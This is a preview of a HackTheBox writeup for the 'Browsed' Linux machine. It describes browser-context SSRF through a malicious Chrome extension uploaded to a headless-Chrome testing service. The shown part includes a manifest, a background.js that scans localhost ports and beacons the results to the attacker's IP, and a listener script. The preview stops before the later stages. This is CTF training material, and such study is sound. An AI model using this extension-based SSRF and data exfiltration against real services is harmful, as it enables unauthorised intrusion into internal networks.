← Writeups
MediumLinuxHackTheBoxACTIVE

Browsed — HackTheBox Writeup (Linux, Medium)

A headless Chrome extension testing service enables browser-context SSRF to pivot into internal Gitea and Flask apps. Bash arithmetic expansion injection in a shell script delivers the reverse shell as larry.

2026-03-27

// Attack Chain

Malicious Chrome extension → Browser SSRF → Gitea recon → Flask /routines → Bash arithmetic injection → larry (user flag)

Overview

Browsed is a medium Linux machine that chains together three distinct exploitation techniques: browser-context SSRF via a malicious Chrome extension, Bash arithmetic expansion injection in an internal Flask app, and Python bytecode cache poisoning for privilege escalation. The initial foothold requires understanding how Chrome extensions work and how a server-side headless browser can be weaponised to pivot to internal services.

Difficulty: Medium | OS: Linux | IP: 10.129.244.79


Reconnaissance

Started with a basic nmap scan and found port 80 open — a website that lets you upload and test Chrome extensions as .zip files. Adding browsedinternals.htb to /etc/hosts revealed a Gitea instance running internally on port 3000.

The site clearly runs a headless Chrome instance server-side to load and test uploaded extensions. This is the attack surface.


Initial Access — Malicious Chrome Extension

What a Chrome Extension Can Do

Chrome extensions with the right permissions can make arbitrary network requests — including to 127.0.0.1. Because the request originates from the browser process running on the server, it bypasses any firewall rules protecting internal services. This is browser-context SSRF.

The key permissions needed in manifest.json:

JSON
{
  "manifest_version": 3,
  "name": "Font Switcher",
  "version": "2.0.0",
  "permissions": ["storage", "scripting", "tabs"],
  "host_permissions": ["<all_urls>"],
  "background": { "service_worker": "background.js" }
}

The host_permissions: ["<all_urls>"] is what allows the background service worker to fetch() any URL including http://127.0.0.1.

Phase 1 — Port Recon

I wrote a background.js that probes common localhost ports and beacons results back to my machine:

JS
// background.js — port scanner
var IP = "10.10.16.73";
var PORT = "8080";
var PORTS = [80, 3000, 4000, 5000, 8000, 8080, 8888, 9000];

function beacon(path, data) {
  fetch("http://" + IP + ":" + PORT + "/" + path, {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify(data)
  }).catch(function(){});
}

function probePort(port) {
  var controller = new AbortController();
  setTimeout(function(){ controller.abort(); }, 2000);
  fetch("http://127.0.0.1:" + port + "/", {
    signal: controller.signal,
    mode: "no-cors"
  }).then(function() {
    beacon("port", {port: port, status: "OPEN"});
  }).catch(function(e) {
    if (e.name !== "AbortError") return;
    beacon("port", {port: port, status: "TIMEOUT"});
  });
}

PORTS.forEach(probePort);

I set up a listener on port 8080 to catch the beacons:

PYTHON
python3 -c "
import http.server, json
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length',0))
        data = json.loads(self.rfile.read(l))
        print('[HIT]', self.path, json.dumps(data))
        self.send_response(200); self.end_headers()
    def log_message(self, *a): pass
http.server.HTTPServer(('0.0.0.0', 8080), H).serve_forever()
"

Results from the Chrome log showed three open ports:

PortService
80Public web app
3000Gitea (internal)
5000Flask app

Why this worked: The Chrome extension's background.js runs inside the browser process on the server. When it calls fetch("http://127.0.0.1:5000"), the request originates from the server itself — not from my machine — so internal firewall rules don't apply. The response and errors leak port state back to me via a beacon.

🔒

Machine Still Active

This machine is currently live on HackTheBox. The full writeup unlocks automatically once it retires.

Preview ends before: Phase 2 — Gitea Recon

← Back to writeups